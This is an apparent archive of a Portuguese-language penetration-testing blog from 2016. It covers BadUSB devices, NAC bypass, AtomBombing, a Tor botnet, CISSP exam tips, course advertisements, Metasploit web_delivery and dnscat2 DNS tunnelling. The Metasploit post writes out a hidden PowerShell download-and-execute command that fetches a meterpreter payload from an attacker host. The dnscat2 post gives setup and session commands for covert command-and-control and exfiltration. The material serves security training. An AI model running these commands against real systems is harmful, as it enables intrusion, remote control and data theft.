9 de dezembro de 2016

BadUSB: comprometendo máquinas Windows através da porta USB

Algum tempo atrás, uma nova ameaça foi descoberta, chamada de BadUSB, que veio na forma de hardware... especificamente na forma de USB.

Para aqueles não familiarizados com estes dispositivos o nome diz tudo: BadUSB, porque estes USBs não são utilizados como armazenamento, mas se passam por outro dispositivo, como: teclados, mouses... que executarão um código pré-programados pelo atacante. E este falsa USB quando conectado a um computador pode executar comandos no terminal, instalar um backdoor para acesso posterior desse computador, roubar credenciais e muitos mais.

Tudo isso é porque os USBs falsos quando conectados a uma máquina executam outro firmware que não é a memória USB normal, comportando-se como qualquer outro tipo de dispositivo e é capaz de executar qualquer tipo ação na máquina à qual ele está conectado sem que o usuário em questão perceba algo.

Existem vários dispositivos no mercado com estas características, mas o mais adequado para o que estou falando é o RubberDucky, um dispositivo criado pela Hak5.

O RubberDucky funciona como um teclado e executa o que temos armazenados no seu micro SD só de conectarmos ele a outro dispositivo.

O preço deste USB é de US $ 44,99 mais custos de transporte, que são mais de 39.50 $ (para o Rio de Janeiro). Um dispositivo um pouco caro...

Então, o que você diria se pudesse obter o mesmo por cerca de metade do preço do RubberDucky? Sim, podemos criar nosso próprio Rubber Ducky pela metade do preço, tudo graças ao Teensy que funciona com Arduino .

Para montar precisamo: uma placa Teensy, ter um Arduino instalado e um cabo USB.

Muitos dizem que tudo é mais fácil comRubberDucky porque a sintaxe para programar o USB é mais simples, mais fácil e mais rápido do que a programação com Arduino. Isso é verdade, mas hoje há uma ferramenta muito boa para isso, Brutal, uma ferramenta desenvolvida pelo grupo ScreetSec (criadores de Thefatrat ou LALIN) e foi lançado há pouquíssimo tempo. Esta ferramenta possui vários módulos que nos fornecem código escritos para Arduino com várias funções, que nos fornecem um monte de coisas ao usar nosso Teensy como um BadUSB.

A ferramenta tem os seguintes módulos:
  • Gerar um payload que execute uma conexão reversa TCP através de PowerShell
  • Baixa e executa um backdoor
  • Obtém as credenciais graças ao Mimikatz
  • Gera payloads para dar uma zoada no alvo
  • Gera payloads para administração do Windows
  • Executa diversos outros ataques contra o Windows

Instalação e execução da ferramenta:
  • Instalar os pacotes de PaensyLib na biblioteca do Arduíno.
  • git clone https://github.com/Screetsec/Brutal.git
  • cd Brutal
  • chmod +x Brutal.sh
  • ./Brutal.sh

PoC do Brutal:


9 de novembro de 2016

Auto_EAP e EAPMD5PASS: boas ferramentas para burlar NACs

Quem já fez ou faz o curso de Pentest Avançado comigo, sabe que abordamos a fase de bypass de controles de acesso à redes, inclusive aquelas que utilizam NAC. 

Muitas soluções para bloqueio de acesso à redes e autenticação, utilizam o protocolo EAP (Extensible Authentication Protocol) para redes wireless, através de diversas implementações, como WPA, WPA2 e IEEE 802.11. Para entender melhor esse protocolo, indico a leitura da RFC 5247, que é a atualização das obsoletas RFCs 2284 e 3748.

O grande problema aqui, é que algumas soluções (se não a maioria), ainda utiliza a definição do EAP como designado na RFC 3748, que é o EAP MD5-challenge, cujo algoritmo é fraco e a metodologia de autenticação é falha, permitindo que através da captura de pacotes de rede, com o MD5-challenge, o atacante consiga, utilizando uma boa wordlist, prever a senha de autenticação ao gerar o mesmo hash a partir do challenge enviado + palavra de uma wordlist que deve ser igual ao hash capturado no pacote de rede.

O que é mais interessante, é que isso pode ser feito até mesmo sem estar autenticado, pois o dispositivo obtém um acesso limitado na rede para poder se comunicar com o servidor RADIUS para troca de pacotes na tentativa de obtenção da autenticação. Nesse período, é possível capturar pacotes com os hashs necessários para descoberta da senha de autenticação.

É importante, no entanto, atentar para diferentes cenários, pois em redes wireless isso é muito mais tranquilo, já que os pacotes trafegam em broadcast, mas em redes cabeadas você precisa de duas placas de rede em modo bridge para se conectar ao switch com uma delas e na outra, um dispositivo que seja autenticado na rede mas que se utilize de criptografia fraca ou nenhuma, como impressoras e VoIP phones.

Para facilitar nossas vidas, existem algumas ferramentas que podem nos auxiliar nesse processo. Duas delas merecem destaque em minha opinião, EAPMD5pass e Auto_EAP.

O EAPMD5pass é um programa (precisa ser compilado) que permite, após a captura de pacotes utilizando tcpdump ou wireshark, por exemplo, tentar quebrar a senha dos pacotes enviados com o hash md5 do challenge + senha. Esse programa foi criado por um profissional conhecido e respeitado da área de segurança, chamado Johnny Long, e pode ser baixado a partir de seu site.

Já a segunda ferramenta, baseada em Python, Auto_EAP, se utiliza da biblioteca wpaspy para realizar ataques contra a autenticação de redes wireless, através de um daemon chamado wpa_daemon, para evitar o lock out de contas ativas. Para usar essa ferramenta, execute primeiro o script RunMeFirst.py. E o único problema que vejo nessa ferramenta, ainda é sua falta de suporte à wordlists para quebra de senha e o fato de não ser multi thread. Para quem sabe um pouco de Python, nada muito difícil de resolver, ou então esperar uma nova versão.

É isso pessoal, divirtam-se!

28 de outubro de 2016

Novo ataque contra Windows: AtomBombing

Foi descoberta há alguns dias uma falha de implementação no Windows que permite um ataque remoto que possibilita realizar man-in-the-middle contra browsers, tirar screenshot da tela do alvo, e acessar senhas armazenadas no browser.

É interessante dar uma lida na explicação da Microsoft em seu blog sobre o que são e como funcionam as Atom tables, que possibilitam essa exploração: 
https://msdn.microsoft.com/en-us/library/windows/desktop/ms649053(v=vs.85).aspx

AtomBombing afeta todas as versões do Windows. E foi testada em particular contra o Windows 10, sendo totalmente eficaz.

Entretanto, uma grande questão que surgiu, foi: esse problema não pode ser corrigido por um patch, já que não depende de uma brecha ou falha no código, e sim sobre como esse sistema operacional foi desenhado e implementado.

O mecanismo do Windows que o AtomBombing explora é chamado Atom tables. Essas tabelas são fornecidas pelo sistema operacional para permitir que aplicativos armazenem e acessem dados. Estas Atom tables também podem ser usadas para compartilhar dados entre aplicações.


O que foi descoberto é que um código malicioso pode escrever em uma Atom table e forçar um programa legítimo a recuperar o código malicioso da mesma. E assim, o programa legítimo, agora contendo o código malicioso, pode ser manipulado para executar esse código.

Esse outro link explica bem como isso ocorre e como pode ser feito: 
https://breakingmalware.com/injection-techniques/atombombing-brand-new-code-injection-for-windows/

Obviamente que tudo isso depende de realiza um code injection, mas uma simples engenharia social já possibilitaria realiza isso, pois esse código malicioso só conseguiria escrever nas Atom tables localmente. Para uma PoC, segue o link para um código que consegue fazer isso e injetar um shellcode a ser executado por um aplicativo válido e reconhecido: 
https://github.com/BreakingMalwareResearch/atom-bombing

Divirtam-se!

27 de outubro de 2016

ZIB - Botnet via TOR

O ZIB é conhecido como The Open TOR Botnet, sendo um projeto baseado em Python, que até alguns meses atrás ainda era completamente indetectável pelos antivírus, pois se utiliza de um padrão de encriptação e ofuscamento utilizado pelo DoD (Department of Defense) americano, que é alterado para cada novo deployment. Resumindo: para cada novo cliente gerado para a botnet, o tamanho e codificação do arquivo é diferente, nunca mantendo a mesma assinatura, por exemplo.

Outro ponto, que pode ser percebido pelo nome do projeto, é que a comunicação é feita via TOR, para encriptar e evitar o rastreamento da fonte de controle dos bots, que são gerenciados através do IRC.

Outras duas características desse bots, é que eles podem usar um sistema de autenticação para permitir que apenas usuários com credenciais possam acessá-los e comandá-los, seja toda a botnet, ou apenas uma parte da botnet; e a outra características, é o gerenciamento de pagamentos via BitCoin, através do qual o dono da botnet pode "alugar" seus hosts para outras pessoas.

É bem importante frisar, como o próprio desenvolvedor da ferramenta colocou em seu github, que essa ferramenta é para propósito de pesquisa. Portanto, indico o uso dessa ferramenta para que possam entender o funcionamento de uma botnet, e criar labs onde sejam capazes de monitorar o funcionamento e fazer a forense de hosts infectados, como exercício de resposta a incidentes.

Confesso que das versões gratuitas de botnets liberadas para pesquisa, essa foi uma das mais completas que encontrei até hoje.

Para entender as muitas características e funcionalidades, além de poder baixar os arquivos do ZIB, acessem o GitHub dos desenvolvedores através desse link.

9 de setembro de 2016

Enfim, CISSP!

Hoje fiz minha prova de CISSP, primeira e única tentativa.

Há algumas semanas atrás agendei minha prova para o dia 26 de Outubro/2016, mas anteontem recebi um email da Pearson Vue dizendo que o centro de exames credenciado pela ISC2 aqui no Rio de Janeiro (Allen) não poderia aplicar a prova no dia agendado, e que precisaria remarcar. Qual não foi minha surpresa ao ver que as únicas datas disponíveis seriam dias 08 ou 09 de Setembro (hoje). Caso não quisesse remarcar para esses dias, tinha duas opções: solicitar o reembolso e desistir da prova, ou ir à outro estado para fazer a prova.

Como estava contando com as duas primeiras semanas de Outubro para estudar, durante minhas férias, não me sentia preparado para a prova, pois só havia lido o livro "CISSP 11th Hour, 2nd Edition". Mas um grande amigo meu (valeu Matuck!), me deu força para reagendar a prova para hoje mesmo, já que meu atual empregador estava pagando minha prova passando ou não no exame.

Bem, depois de desfiar esse terço e contar minha história triste, é hora de contar um pouco de minha estratégia para a prova. Usei basicamente quatro fontes de estudo para me preparar o pouco que foi possível. Foram elas, de acordo com o período:

- nos últimos dois meses: lia o livro "CISSP 11th Hour, 2nd Edition" de Eric Conrad, sempre no metrô, usando o Kindle no celular, durante o trajeto de casa para o trabalho e do trabalho para casa. Isso permitiu que eu conseguisse ler o livro inteiro uma única vez, já que é um livro resumido de pouco mais de 200 páginas.
- durante um mês antes dos Jogos Olímpicos: estudava cerca de 20 questões de simulados por dia usando questões de exemplos que encontrava em livros e materiais encontrados na internet. Precisei parar com isso durante as Olimpíadas, por conta de meu horário de trabalho com escalas de 12h virando a noite.
- ontem à noite, durante 2h: entrei no www.cybrary.it e baixei apenas os slides do curso de CISSP. Não tinha tempo para assistir os vídeos, então só li os pouco mais de 580 slides, onde todos os domínios estavam resumidos. Ajudou muito, por sinal, e ainda é gratuito!
- ontem à noite, durante 2h: como último recurso, um amigo mandou para mim um material de 11 páginas com um resumo muito bem construído do conteúdo abordado pela prova. Caso tenham interesse, podem baixar por esse link! Posso dizer que é o resumo total do que li no CISSP 11th Hour e nos slides da Cybrary, e pode ajudar muito para relembrar conteúdos antes da prova.

Essa foi minha estratégia e, como escrevi acima, permitiu que na primeira vez eu conseguisse passar na prova.

Obviamente não vou negar que os 20 anos de atuação na área de TI (comecei a trabalhar com 17 anos com TI de carteira assinada), e dentro desses 20 anos, os 15 de experiência com segurança da informação, me ajudaram muito, pois essa vivência fez com que eu só precisasse relembrar conceitos, ao invés de precisar aprender algo do zero. Posso citar alguns exemplos:

- criptografia: fiz há 3 anos atrás a prova de GXPN, que tem conceitos de criptografia bem mais aprofundados que o CISSP, então esse conteúdo foi tranquilo;
- domínio de segurança em SDLC: sou líder de um capítulo da OWASP desde 2012, e já dei treinamento para 12 turmas dentro de uma grande multinacional sobre segurança em SDLC;
- segurança em redes: atuando como gerente de segurança, colocando a mão na massa e ainda fazendo pentest, isso facilitou muito;
- BCP e DR: vivenciei isso na prática em grandes projetos, incluindo nos Jogos Olímpicos;
- security assessment: como pentester há mais de 10 anos, esse conteúdo foi bem tranquilo;
- gestão de segurança, governança, e compliance: também com experiência no desenvolvimento e auditoria de políticas e controles de segurança, o conteúdo foi bem tranquilo.

Agora, algumas dicas podem ajudar muito, já que o segredo da prova é entender como a ISC2 pensou ao desenvolver as questões:
- trabalhe com eliminação, pois sempre há mais de uma questão correta, então leia bem o enunciado e preste atenção em pegadinhas, tentando entender qual é a resposta MAIS correta que as outras;
- você precisa fazer a prova com a visão de um Analista de Riscos;
- na dúvida, a segurança física é sempre a melhor opção, pois é a primeira camada da segurança em profundidade;
- sempre aplique o conceito de segurança em camadas (produndidade);
- a segurança das pessoas sempre vem em primeiro lugar, SEMPRE!

Com essas dicas em mente, faça tantos simulados quanto forem possíveis, pois assim entenderá o mindset da ISC2, e então é só agendar a prova, que por enquanto não tem mais local para fazer no RJ. Quem quiser, precisará ir para São Paulo, Belo Horizonte, Curitiba ou Brasília.

E por último, como todo o material que estudei estava em inglês, optei por fazer a prova nesse idioma, para não correr o risco de confundir termos.

De 6h que poderia utilizar, finalizei a prova em metade do tempo permitido, não fazendo nenhum break, pois fiquei focado em não perder tempo ou a linha de raciocínio. Mas o mais chato para mim, foi não receber o resultado logo quando enviei as questões respondidas; ainda precisei ir até a recepção e aguardar a impressão do resultado....rs. Longos minutos de tensão...

Bem, é isso aí! Espero que as dicas ajudem, e que algum de vocês possa aproveitá-las para passar pelo exame com sucesso.

7 de setembro de 2016

Roubando credenciais de usuários Windows e MAC

É um ataque bem interessante esse descoberto pelo @mubix, e é bem útil emsituações onde o usuário bloqueou a máquina, mas deixou seu usuário logado. O mais interessante é que foi testado e funciona contra todas as versões de Windows e MAC.

Abaixo é possível ver o vídeo do teste com sucesso:



O equipamento utilizado pode ser construído por vocês, ou pode-se usar o HAK5 LAN Turtle, vendido pela HAK5.

A lógica do ataque é razoavelmente simples e só precisa de três coisas: um dispositivo USB Ethernet + DHCP + Responder, e com isso conseguimos capturar as credenciais de um computador que esteja com sua tela de login bloqueada, porém com um usuário logado.

Nesse link tem toda a informação necessária para entender o ataque, criar seu próprio USB Armory pronto para o ataque, ou como configurar o HAK5 LAN Turtle que já vem quase pronto para o ataque.

Divirtam-se!


22 de junho de 2016

Curso Pentest Avançado e Introdução à Exploração de Softwares - EAD - Out/2016

Mesmo curso ministrado para a divisão de Defesa Cibernética do Exército!

Curso que alia prática e teoria, abordando técnicas avançadas de exploração de sistemas, redes e protocolos vulneráveis. Com esse conteúdo, o aluno será capaz de sair do básico de teste de invasão e partir para um outro nível, com técnicas de exploração mais avançadas e conhecimento necessário para descobrir vulnerabilidades em aplicações e criar seus próprios exploits.

O curso abordará técnicas de exploração tanto de Windows quanto Linux, e cobrirá os tópicos abaixo, de uma forma macro:

  • Explorando Redes - Onde o aluno aprenderá como burlar os controles de acesso de uma rede, bem como explorar vulnerabilidades comuns em redes modernas e seus protocolos.
  • Manipulando a Rede - O aluno será capaz de entender como manipular sistemas de rede para ganhar acesso privilegiado e a oportunidade de explorar sistemas dentro das mesmas.
  • Burlando Ambientes Restritos - Serão demonstrados ambientes em Linux e Windows, com restrições de Desktop, e as ferramentas e técnicas para burlar tais restrições.
  • Softwares Maliciosos e Bypass de Antivírus - O aluno aprenderá como injetar rotinas maliciosas em binários funcionais, e controlar o fluxo de execução de seu código. Verá na prática também, como burlar antivírus, controlando o fluxo de binários maliciosos, alterando assinatura, usando técnicas de anti-debugging e criptografia.
  • Introdução às Técnicas de Fuzzing - O aluno aprenderá como funciona de forma prática, bem como os benefícios, as técnicas de protocol fuzzing para identificar falhas em sistemas alvo.
  • Técnicas Avançadas de Fuzzing - O aluno será capaz de criar sequências de testes customizados utilizando o framework Sulley.
  • Introdução à Exploração de Sistemas Windows - O aluno entenderá os conceitos básicos de Windows para explorar as falhas comuns desse sistema e os Compile-Time Controls.
  • Windows Overflows - O aluno aprenderá como explorar vulnerabilidades no Windows a partir da stack, e burlar proteções de memória.
  • Introdução à Memória Dinâmica do Linux - O aluno aprenderá um pouco sobre arquitetura de processadores X86, gerenciamento de memória no Linux, assembly, linkedição e carregamento de processos.
  • Smashing the Stack - Será ensinado ao aluno como escrever exploits básicos para stack overflow e também contra programa protegidos com canary e ASLR.

O aluno montará seus próprios LABs com orientação do instrutor, e poderá utilizar sua infraestrutura para realizar os testes durante a aula, e posteriormente ao assistir os vídeos gravados das aulas.

Máquinas virtuais necessárias: Kali Linux, Windows 7 e outras que serão disponibilizadas pelo instrutor ao início do curso. As máquinas podem ser virtualizadas utilizando VMWare ou VirtualBox.

Quem tiver interesse no curso, por favor, acesse o link http://bit.ly/ZkbwEE e faça sua inscrição no curso "Pentest Avançado e Introdução a Exploração de Softwares". Para pagamentos via Paypal ou PagSeguro, após preencher o formulário, aguarde o e-mail com o link de cobrança.

Carga horária: 40h
Investimento: R$ 981,00 à vista (ou 1.090,00 com possibilidade de parcelamento em até 3x no cartão de crédito via PayPal ou 12x via BCash)
Horário de aula: 22h às 24h
Dias de aula: ter., e qua.
Início das aulas: 25/10/2016
Local: Internet

20 de maio de 2016

Venda de cursos já realizados

Pessoal, sei que muita gente as vezes acaba perdendo uma turma ou outra dos cursos que realizo, seja por falta de tempo, ou dinheiro, naquele momento em que estou formando as turmas. 

Por conta disso é possível adquirir, após a realização das turmas, o material de cada uma delas. No material sempre estão inclusos os slides, os vídeos e os arquivos utilizados em cada curso, e em alguns inclusive disponibilizo a apostila e máquinas virtuais para os laboratórios (esses dois últimos, nem todos os cursos tem, mas todos tem os vídeos e slides).

Quando o aluno adquire o material do curso, é possível ao final de seus estudos realizar uma avaliação prática para receber o certificado de conclusão do mesmo, caso o aluno tenha interesse.

Os cursos atualmente disponíveis para aquisição são os seguintes, com seus respectivos valores a serem pagos via Paypal em até 3x:

- Hardening de Servidores Linux = 450,00
- Pentest em Redes = 710,00
- Engenharia Social = 400,00
- Pentest em Aplicações WEB = 640,00
- Perícia Forense Digital = 710,00
- Fundamentos de Programação com Assembly e C = 450,00
- Engenharia Reversa e Análise de Malwares = 800,00
- Pentest Avançado e Introdução à Exploração de Softwares = 800,00
- Programação para Pentesters = 800,00

Para pagamentos à vista, é possível um desconto de 5%. E caso adquira mais de um curso, podemos negociar outros descontos.

Quem tiver interesse, basta enviar um e-mail para luizwt at gmail.com.

16 de maio de 2016

Módulo Web Delivery do Metasploit

Muitas vezes estamos em situações em que temos acesso à uma máquina que precisamos explorar, mas sem as ferramentas adequadas ou necessárias naquele momento. Um dos módulos do Metasploit que pode nos ajudar em cenários assim é o web delivery, que permite que remotamente nos conectemos à um IP e tenhamos de retorno um shell, seja command.com ou meterpreter no caso do Metasploit.

Entretanto, é necessário que deixemos nossa máquina com o Metasploit (possivelmente na nuvem) já configurada aguardando a conexão.

Nesse exemplo, vamos ver como compromenter uma máquina Windows, entregando um shell meterpreter via PowerShell (poderia ser via Python ou PHP também).

Em primeiro lugar precisamos entrar no msfconsole e digitar os seguintes comandos:
  • use exploit/multi/script/web_delivery
  • set lhost [Kali IP Address]
  • set lport 4444
Quando digitamos o comando "show targets", vemos as opções de entrega do shell, que em nosso caso será PowerShell:

Então, para selecionar o tipo de entrega e o shell que será entregue, digitamos os dois seguintes comandos:

  • set target 2
  • set payload windows/meterpreter/reverse_tcp
E então executamos o comando "exploit", para colocar nossa máquina numa condição de "listening", que é quando fica aguardando alguém conectar-se para entregar o payload:

E então, na máquina alvo, onde temos acesso físico, digitamos o comando abaixo para forçar a conexão e a entrega do payload:
  • powershell.exe -nop -w hidden -c IEX ((new-object net.webclient).downloadstring('http://192.168.1.39:8080/eAtfMo'))
E então, na máquina onde temos o Metasploit, veremos uma tentativa de conexão, e uma sessão sendo criada:

E então, ou você já terá um shell via meterpreter com o prompt "meterpreter>" aberto, ou simplesmente precisará digitar o comando "sessions -i [numero-da-sessão]" para conectar-se e começar a brincadeira.

A partir daí, terá todo o poder do meterpreter disponível em suas mãos: keylogger, screenshot, ativar webcam para vídeos e fotos, network sniffing, escalada de privilégios, criar backdoor persistente e etc. Quando quiser finalizar a sessão, basta digitar "exit" e cair de novo no msfconsole.

Have some fun!




18 de fevereiro de 2016

Próximo Treinamento: Programação para Pentesters - Junho/2016

Novo ano, novo treinamento!

Esse ano estamos lançando o treinamento Programação para Pentesters, baseado totalmente em Python, que terá sua primeira turma em Junho/2016. Conteúdo resumido pode ser encontrado abaixo, com os principais tópicos abordados:

  • Python Scripting – O Essencial
  • Programação e Segurança
  • Pentest com Python
  • Programação para Redes – Sniffers e Packet Injectors
  • Manipulação de pacotes e protocolos com Scapy
  • Comprometendo a Rede com Scapy
  • Reconhecimento Web com Python
  • Atacando Aplicações
  • Compromentendo aplicações Web
  • Command and Control via GitHub e outros meios
  • Usando Tarefas no Windows para comprometer sistemas
  • Escalada de Privilégios em Windows
  • Automatizando Ataques

O foco principal desse curso é mostrar como a programação usando Python pode facilitar a vida de profissionais de segurança automatizando uma série de atividades, inclusive ataques, que precisam ser feitos periodicamente para avaliações de segurança de seu ambiente.

Além disso, o aluno aprenderá a não depender exclusivamente de ferramentas de terceiros para realizar seus testes, podendo criar novas ferramentas ou extender as funcionalidades de ferramentas já existentes.

Quem tiver interesse no curso, por favor, acesse o link http://bit.ly/ZkbwEE e faça sua inscrição no curso "Programação para Pentesters".
Carga horária: mínimo de 32h
Investimento: R$ 1.090,00 (com possibilidade de parcelamento em até 3x no cartão de crédito via PayPal ou 12x via BCash)
Desconto: 10% de desconto para pgtos à vista via depósito.
Horário de aula: 22h às 00h
Dias de aula: terça e quarta-feira.
Início das aulas: 07/06/2016



12 de fevereiro de 2016

Bypass de firewall com tunelamento por DNS

Referência: https://github.com/iagox86/dnscat2

Uma das grandes preocupações de quem administra firewalls é justamente evitar que haja qualquer buraco que possa permitir o comprometimento de sua rede e exfiltração de informações sensíveis através de conexões remotas, principalmente através de aplicações que se utilizam da técnica Command&Control (C2).

Entretanto, sabemos que para o bom funcionamento de qualquer ambiente, alguns serviços e protocolos precisam ser liberados, como é o caso do DNS. O grande problema aqui, é que tanto o DNS, quanto outros protocolos, podem ser utilizados para encapsular informações que as regras de firewall pode deixar passar, por conta de analisarem apenas uma camada específica e apenas parte do payload dos pacotes.

É importante apenas frisar que o DNS é considerado tanto um protocolo quanto um serviço (referências podem ser encontradas aqui). Esse protocolo é nativo da camada de aplicação do modelo OSI, e suas propriedades permitem que protocolos de camadas mais baixas sejam encapsulados em pacotes DNS, o que ajudaria o processo de bypass nas regras de firewalls.

Obviamente, como tudo existe para facilitar nossas vidas, é possível utilizar aplicações já prontas para facilitar todo esse processo, o que facilita a vida tanto de pentesters quanto de atacantes reais.

Bem, implicações éticas à parte, já que somos adultos e sabemos de todas as consequências do uso de tais ferramentas para fins não éticos, vamos ao que é possível fazer com a ferramenta eleita de hoje: o dnscat2.

A primeira coisa que precisamos ter em mente é que essa ferramenta funciona no esquema de cliente/servidor. Portanto, é importante que tenha uma máquina virtual na cloud para servir de local para hospedar o server da ferramenta, como um droplet no Digital Ocean, por exemplo.

Após o deployment de sua VM na cloud, basta baixar e instalar o dnscat2 server, com os seguintes comandos:

# apt-get update
# apt-get -y install ruby-dev git make g++
# gem install bundler
# git clone https://github.com/iagox86/dnscat2.git
# cd dnscat2/server
# bundle install

E após instalar o server, para ativá-lo basta usar o comando abaixo, a partir de dentro do diretório dnscat2/server:
# ruby ./dnscat2.rb
Com isso feito, basta agora executar o cliente na máquina vítima, ou de sua máquina dentro da rede de onde quer fazer a conexão, usando simplesmente o parâmetro "--host [IP-do-server]". Caso a máquina de onde esteja rodando o cliente seja Windows, basta baixar o binário pré-compilado do site do desenvolvedor: https://downloads.skullsecurity.org/dnscat2/ e executá-lo com o mesmo parâmetro (--host [IP-do-server]).

Assim que o cliente for executado, poderá perceber que no server você receberá o laerta de uma nova conexão existente com um cliente, como abaixo:
# ruby ./dnscat2.rb
Starting Dnscat2 DNS server on 0.0.0.0:53 [domains = n/a]...
No domains were selected, which means this server will only respond to direct queries (using --host and --port on the client)
dnscat2> New session established: 1258 
dnscat2>
O que é mais interessante, é que a partir do server você poderá interagir com o cliente a qualquer momento, executando comandos e carregando aplicações definindo com qual sessão deseja interagir, como por exemplo:
dnscat2> session -i 1258
Welcome to a command session!
Use 'help' for a list of commands or ^z for the main menu
dnscat [command: 1258]> exec notepad.exe
Sent request to execute
dnscat [command: 1258]>

dnscat2 também suporta outros comandos, como download e upload, para exfiltragem de informações por exemplo.

Outra forma interessante, para tornar nossa estrutura mais robusta, é configurar um servidor DNS em alguma outra droplet (VM na cloud) usando um name específico, como hackproofing.com por exemplo, e configurá-lo para atuar como um servidor de DNS rodando em um IP válido, que servirá de intermediário entre o server e o client. 

Sendo assim, precisaremos configurar o server para rodar conectado à esse DNS com o comando:
# ruby ./dnscat2.rb hackproofing.com
E o client a mesma coisa, mas agora sem o parâmetro --host, simplesmente colocando o nome do DNS "hackproofing.com" após o comando de execução do cliente dnscat2.

Dessa maneira, se executar um wireshark para analisar as requisições saindo da rede local, verá várias requisições feitas ao DNS "hackproofing.com". E obviamente, dependendo da quantidade de tráfego gerado por essas conexões, para um administrador de redes atento, isso chamará sua atenção.

Esse é o básico de utilização da ferramenta! Portanto, divirtam-se e descubram novas funcionalidades e formas de utilizá-la.

18 de janeiro de 2016

Escalada de Privilégio em Windows e Linux

A segunda principal fase de um teste de invasão, na minha opinião é justamente a pós-exploração, sendo a primeira a fazer de Footprinting/Fingerprinting.

Enquanto que a maioria dos pentesters se contentam em entregar um simples screenshot com de uma tela preta com um caracter "#" ou um "NT AUTHORITY\SYSTEM", o que realmente vale para o cliente é mostrar o quanto suas informações sensíveis estão expostas. Entretanto isso pressupõe que o pentester realizou o comprometimento de uma estação ou servidor, e aprofundou-se em suas atividades.

Para conseguir chegar a esse ponto, a primeira coisa é fazer a escalada de privilégios, mas decididamente não parar por aí. E esse post vai falar justamente sobre isso: escalada de privilégios em diferentes sistems operacionais.

Existem muitas ferramentas que já executam esse procedimento para você, após ter conseguido o acesso inicial através de exploração ou simples acesso físico. Entretanto, nem sempre poderemos contar com as ferramentas prontas, então aqui já seguem cinco listas de comandos a serem usados para escalar privilégios, alterar configurações do S.O. e/ou executar procedimentos que sem os devidos privilégios seria impossível:


Além dos comandos, ainda assim podemos utilizar alguns scripts que facilitam a vida, ajudando-nos a descobrir brechas na configuração do S.O. que podem ser exploradas para a escalada de privilégios. Temos como exemplo três scripts:
- Linux Local Enumerationhttps://highon.coffee/downloads/linux-local-enum.sh
- Unix Privesc Checkhttp://pentestmonkey.net/tools/audit/unix-privesc-check
- Windows Privesc Checkhttps://github.com/pentestmonkey/windows-privesc-check

As três ferramentas acima, auxiliam e muito em situações onde precisamos encontrar alguma falha na configuração do sistema explorado, mas não temos tanto tempo para ficar fuçando, então a rapidez com que temos um retorno acaba valendo a pena utilizá-las, ainda mais quando vc tem aceso físico à máquina.

Então aproveitem essas informações e divirtam-se!